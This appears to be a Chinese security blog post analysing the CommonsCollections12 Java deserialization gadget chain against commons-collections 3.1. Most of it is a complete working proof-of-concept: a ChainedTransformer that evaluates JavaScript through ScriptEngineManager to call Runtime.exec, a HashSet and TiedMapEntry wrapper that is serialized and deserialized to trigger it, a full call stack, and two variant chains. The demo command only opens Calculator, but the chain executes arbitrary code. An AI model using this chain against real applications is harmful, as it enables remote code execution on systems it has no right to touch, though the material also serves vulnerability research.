南溟丷

在这浩瀚星河的你是什么

0%

Java反序列化修炼计划 CommonsCollections12

CC6+JS

影响版本

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.script.ScriptEngineManager;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC12 {
public static void main(String[] args) throws Exception {
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
ChainedTransformer chain =
new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", null, null),
new InvokerTransformer(
"getEngineByName",
new Class[] {String.class},
new Object[] {"js"}),
new InvokerTransformer(
"eval", new Class[] {String.class}, new Object[] {cmd})
});

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);

HashSet hashset = new HashSet(1);
hashset.add(2);

Field hashSetField = HashSet.class.getDeclaredField("map");
hashSetField.setAccessible(true);
HashMap hashsetMap = (HashMap) hashSetField.get(hashset);

Field hashMapTable = HashMap.class.getDeclaredField("table");
hashMapTable.setAccessible(true);
Object[] array = (Object[]) hashMapTable.get(hashsetMap);

Object node = array[0];
if (node == null) {
node = array[1];
}

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, tiedMapEntry);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC12"));
outputStream.writeObject(hashset);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC12"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
exec:347, Runtime (java.lang)
invokeVirtual_LL_L:-1, 243194708 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 890545344 (java.lang.invoke.LambdaForm$BMH)
exactInvoker:-1, 702846463 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 1105322512 (java.lang.invoke.LambdaForm$MH)
:program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_LL_L:-1, 101478235 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 1853205005 (java.lang.invoke.LambdaForm$MH)
invoke:640, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:228, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:446, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:403, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:399, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readObject:334, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:65, CC12

分析

主要差异就在Transformer部分。

一路反射实例化到调用ScriptEngineManager#getEngineByName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public ScriptEngine getEngineByName(String shortName) {
if (shortName == null) throw new NullPointerException();
//look for registered name first
Object obj;
if (null != (obj = nameAssociations.get(shortName))) {
ScriptEngineFactory spi = (ScriptEngineFactory)obj;
try {
ScriptEngine engine = spi.getScriptEngine();
engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
return engine;
} catch (Exception exp) {
if (DEBUG) exp.printStackTrace();
}
}

for (ScriptEngineFactory spi : engineSpis) {
List<String> names = null;
try {
names = spi.getNames();
} catch (Exception exp) {
if (DEBUG) exp.printStackTrace();
}

if (names != null) {
for (String name : names) {
if (shortName.equals(name)) {
try {
ScriptEngine engine = spi.getScriptEngine();
engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
return engine;
} catch (Exception exp) {
if (DEBUG) exp.printStackTrace();
}
}
}
}
}

return null;
}

类似的还有ScriptEngineManager#getEngineByExtensionScriptEngineManager#getEngineByMimeType

因此可以修改成这样。

1
2
3
4
5
6
7
8
9
10
11
12
ChainedTransformer chain =
new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", null, null),
new InvokerTransformer(
"getEngineByExtension",
new Class[] {String.class},
new Object[] {"js"}),
new InvokerTransformer(
"eval", new Class[] {String.class}, new Object[] {cmd})
});

以及这样。

1
2
3
4
5
6
7
8
9
10
11
12
ChainedTransformer chain =
new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", null, null),
new InvokerTransformer(
"getEngineByMimeType",
new Class[] {String.class},
new Object[] {"text/javascript"}),
new InvokerTransformer(
"eval", new Class[] {String.class}, new Object[] {cmd})
});

Refer

CommonsCollections12CommonsCollections6改造计划

CommonsCollections12